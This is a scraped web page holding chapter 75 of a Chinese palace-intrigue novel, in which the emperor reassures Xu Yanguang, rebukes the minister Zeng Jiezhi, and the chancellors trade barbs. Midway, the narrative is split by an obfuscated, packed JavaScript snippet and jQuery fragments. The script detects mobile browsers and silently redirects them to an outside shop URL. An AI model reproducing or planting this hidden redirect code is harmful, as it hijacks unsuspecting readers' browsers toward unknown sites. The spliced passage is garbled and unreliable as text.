文趣网 > 其他小说 > 皇后重生记 > 75. 为难
    皇帝听从沈存正的建议,把冯春熙的长子冯建业带入了宫廷,如同栽培冯建功一样栽培她,可他明显比他的哥哥差多了。

    谭毅目前是步军司指挥使,冯建业就在他手下,皇帝问起来,“冯建业在步军司呆的如何?”

    谭毅忙道:“臣让他点检军需,不过冯二爷似乎有些不高兴,觉得我让他管侍卫们的饭食医药,委屈他了,三天两头的不来上值。”

    刘衡沉默半晌,才开口道:“他是太后的侄子,我把他放在御前,是想让太后高兴,他不愿意干活就不干吧,我还养不起一个表弟吗?”

    勋贵外戚之中,安享富贵的庸碌子弟太多了,像冯建功这种已经有了板上钉钉的爵位,还敢给皇帝卖命,又上进的人真的很少,刘衡少了他,的确是少了臂膀。

    其实皇帝现在也有些后悔,不该中了皇后的计,逼冯建功娶了永嘉郡主,以至于君臣离心,冯建功也走了歪路。

    午后,许延光来给刘衡送折子,他目前已经不在御药院任职了,专门提点皇城司,暗中监察百官,也负责宿卫皇帝。

    这次他来找皇帝,是发现有地方官员,联络中京的大臣,想要以清君侧的名义,威胁皇帝不再继续推行新政,目前已经有不少的官员联合在一起了,许延光打探到消息,特地来问皇帝,到底该怎么办?

    皇帝道:“就让他们闹吧,几个乌合之众,成不了气候,什么时候他们真的给我上折子了,我会以他们妄图谋反,不忠不义的罪名处置他们。”

    如果只是风闻,没有实据,刘衡只能骂他们两句,但等他们上了折子,刘衡就可以砍下他们的头了。

    至于他们会不会成功,书生造反,三年不成,皇帝还不至于连几个连政事堂都混不进去的官员都收拾不了,要知道沈存正、曾介之、范旌、胡良公等人,可都是支持新政的。

    不过许延光如此细心,皇帝也有些惊讶,他最近其实是有意冷落许延光的,他保了冯建功,也担心许延光从此在皇城司胡作非为,所以是有意要替换他的。

    但许延光兢兢业业的,办差还和从前一样勤谨,皇帝都搞不懂他在想什么。

    正好这次有了机会,刘衡合上折子,问许延光,“姐夫没有还你清白,你恨姐夫吗?”

    这是他对许延光态度最好的一次了。

    许延光愣了一下,摇摇头,“臣不恨,臣只是在想,是不是哪里做的不够好,陛下才不愿意为臣主持公道?”

    这句话让皇帝沉默,他有些手足无措,他没有见过像许延光这样,真的把忠贞二字奉为圭臬的人,就连他有意偏私,许延光也还是和以前一样忠诚,甚至还从自己身上找原因。

    “你……你先起来。”

    刘衡亲自下去把许延光扶起来,和许延光相对而坐,向他解释,“我也很想杀了冯建功,为你报仇,但是现在朝局不稳,我公布了冯家对你做的恶事,就等于向天下人宣告,我的妻族和我的母族反目成仇了,你执掌皇城司,你很清楚,那些巴望着新政失败的人简直无孔不入,我这边起了内讧,他们只会乘虚而入,而且你姐姐势力膨胀的太快了,作为君王失去权力,这天下也会大乱,我是为了安定天下,也是为了限制你姐姐的野心,才暂时委屈了你。”

    许延光虽然心思单纯,但他听懂了皇帝的意思,点点头,放下了心中的不甘,“陛下都亲自和臣解释了,臣那点委屈算什么,陛下放心,臣会做好这个皇城司使,看好中京城,那些想要造反作乱的人,一个都逃不出臣的眼睛。”

    皇帝拍拍许延光的肩膀,“你放心,我不会对你姐姐怎么样,你姐姐的事,也不会影响你在姐夫这里的地位。”

    许延光谢恩之后便退下了。

    宫城门口,家仆给他牵来了马,许延光回望皇城,他怎么会不怨恨皇帝,但他不能怨恨太久,毕竟许家还是要向皇帝称臣,为了家族,为了家中的兄弟子侄的前程,他不能只看一己得失,皇帝肯放下颜面亲自同他解释,这么好的消弭皇帝心结的机会,他不能放过。

    皇帝虽然没有给他清白,但破例给了他侯爵,还给了他堂弟伯爵,家中无人不高兴,而且他的妻子已经怀孕了,对于皇帝的赏赐也是感恩戴德,她扳着手指头告诉丈夫,“长子当国公,哪怕再生一个儿子,也不用担心前程,还可以当侯爷。”

    妻子笑起来,许延光也跟着笑,子孙后代不废吹灰之力就有了前程,这难道不是男人在外拼命最想得到的结果吗?

    皇帝虽然说是委屈了他,实际上已经够大方了。

    ——

    福宁殿,刘衡找到机会训斥了曾介之一顿,前些天许延光查到的中京大员,据说之前和曾介之在翰林院共事过。

    皇帝责怪曾介之,“既然他曾经当过你的同僚,你就该知道他是个糊涂人,怎么还能看着他一步步升到御史台,到今天他反而要挟起朕来了,你这个宰相当得也太容易了。”

    曾介之气得七窍生烟,他在翰林院默默无闻的时候,只是个帮着先帝编修国史的小官,他有什么资格评判同僚糊不糊涂,他管得也太宽了。

    欲加之罪何患无辞,皇帝这是先从小事上责怪他,将来再引到大事上,说他不堪为宰相,这样就可以逼他退出中枢,削弱皇后的实力。

    这是皇帝的明谋,偏偏曾介之还拿皇帝没什么办法。

    他窝囊地承认了错误,又听皇帝称赞沈存正为官谨慎,让他多和沈存正学学。

    曾介之继续窝囊地答应了。

    刘衡心想,这一切还得多亏了许延光,只是他驯服得了许延光,但驯服不了阿姐,许延光知道斗不过他,因此逆来顺受,但阿姐可是能和他一较高下的。

    沈存正又告诉了皇帝一个好消息,“谢昀在广州新建的市舶司也非常不错,不过半年,今年秋天往中京运的税银据说高达两百万贯,国家在商税这一项上增长了足足一成!”

    刘衡听了十

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596467|202024||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    分高兴,“有钱什么都好办,不至于在推行新政的时候,没有钱财可以支取啊。”

    遣散冗官,冗兵需要钱,推行青苗法也需要钱,清查田亩也需要钱,处处都是花钱的地方,更别提维持朝廷运转的正常支出了,如果没有足够的银钱,刘衡也没这么有底气。

    “这都是陛下高瞻远瞩,看到了建立市舶司能够富国强民。”

    先恭维了皇帝两句,沈存正又继续补充,“如今广州地方的海军也组建起来了,可以阻挡当地的百姓受到海盗的侵扰。”

    “谢昀的确是有能力,泉州市舶司和如今的广州市舶司,都少不了他的辛苦。”

    皇帝对谢昀不乏赞赏,沈存正心里有底了,地方上有了资历和亮眼的政绩,再熬几年,就可以入中枢了。

    曾介之挨了骂,就去见了皇后,臊眉耷眼地把挨骂的事告诉了皇后,许赢君一下就明白了皇帝要干什么。

    她笑着安慰曾介之,“这可真是委屈你了,不过这也得怪你自己,不是你教得好,皇帝哪来这么多损招,日后你还是多警醒些吧。”

    当初皇帝叫侍卫去把沈存正的金印给摸了,沈存正也是委屈的不行,她教导皇帝一向都是让他光明正大的做人,也只有曾介之年轻大胆,才偷偷教皇帝这些小孩子打架一样的招数。

    曾介之苦笑,“臣只怕真的要栽在陛下手里了。”

    “这怎么会?”

    许赢君摇摇头,“哪个当官的屁股底下没有灰,你放心,我还收拾不了沈存正吗?”

    她手里自然也是有沈存正的把柄的。

    曾介之听完皇后让他去查当年沈存正在地方上为官时,曾经默认下属抢夺他人功劳的事,这才放下心,看来皇后是早有准备了。

    曾介之和沈存正今日都不当值,碰巧出宫的时候,碰到了一起。

    二人打了个照面,曾介之先笑着给沈存正打招呼,“沈相公辛苦了,这些日子,朝廷可不是一般的忙啊。”

    又是新政,又是帝后内斗,他都怕沈存正年纪大了,撑不住。

    沈存正笑着安慰曾介之,“你还年轻,头一次面对这么大的变动,表现地很稳重了,陛下的责怪不要放在心上。”

    曾介之点点头,为了让沈存正放松警惕,又苦笑着示弱,“现在见到沈相公,还能和您说上两句话,下一次见到您,不知道我的头和我的身体还能不能连在一起啊。”

    沈存正愣了一下,曾介之继续道:“到时候别人肯定都会畏惧您,也不知道有没有人愿意给我收尸,要是他们不肯,我能不能麻烦一下沈相?”

    这话说得有些悲壮,沈存正心想,斗到这个地步,会怕死的何止曾介之一个?

    他郑重点头,表示答应,随机又道:“如果我身首异处,恐怕也没几个人敢收尸,到时候就麻烦曾相公了。”

    曾介之也郑重点头,二人相对沉默了一会儿,都不约而同哈哈大笑,结伴出宫去了。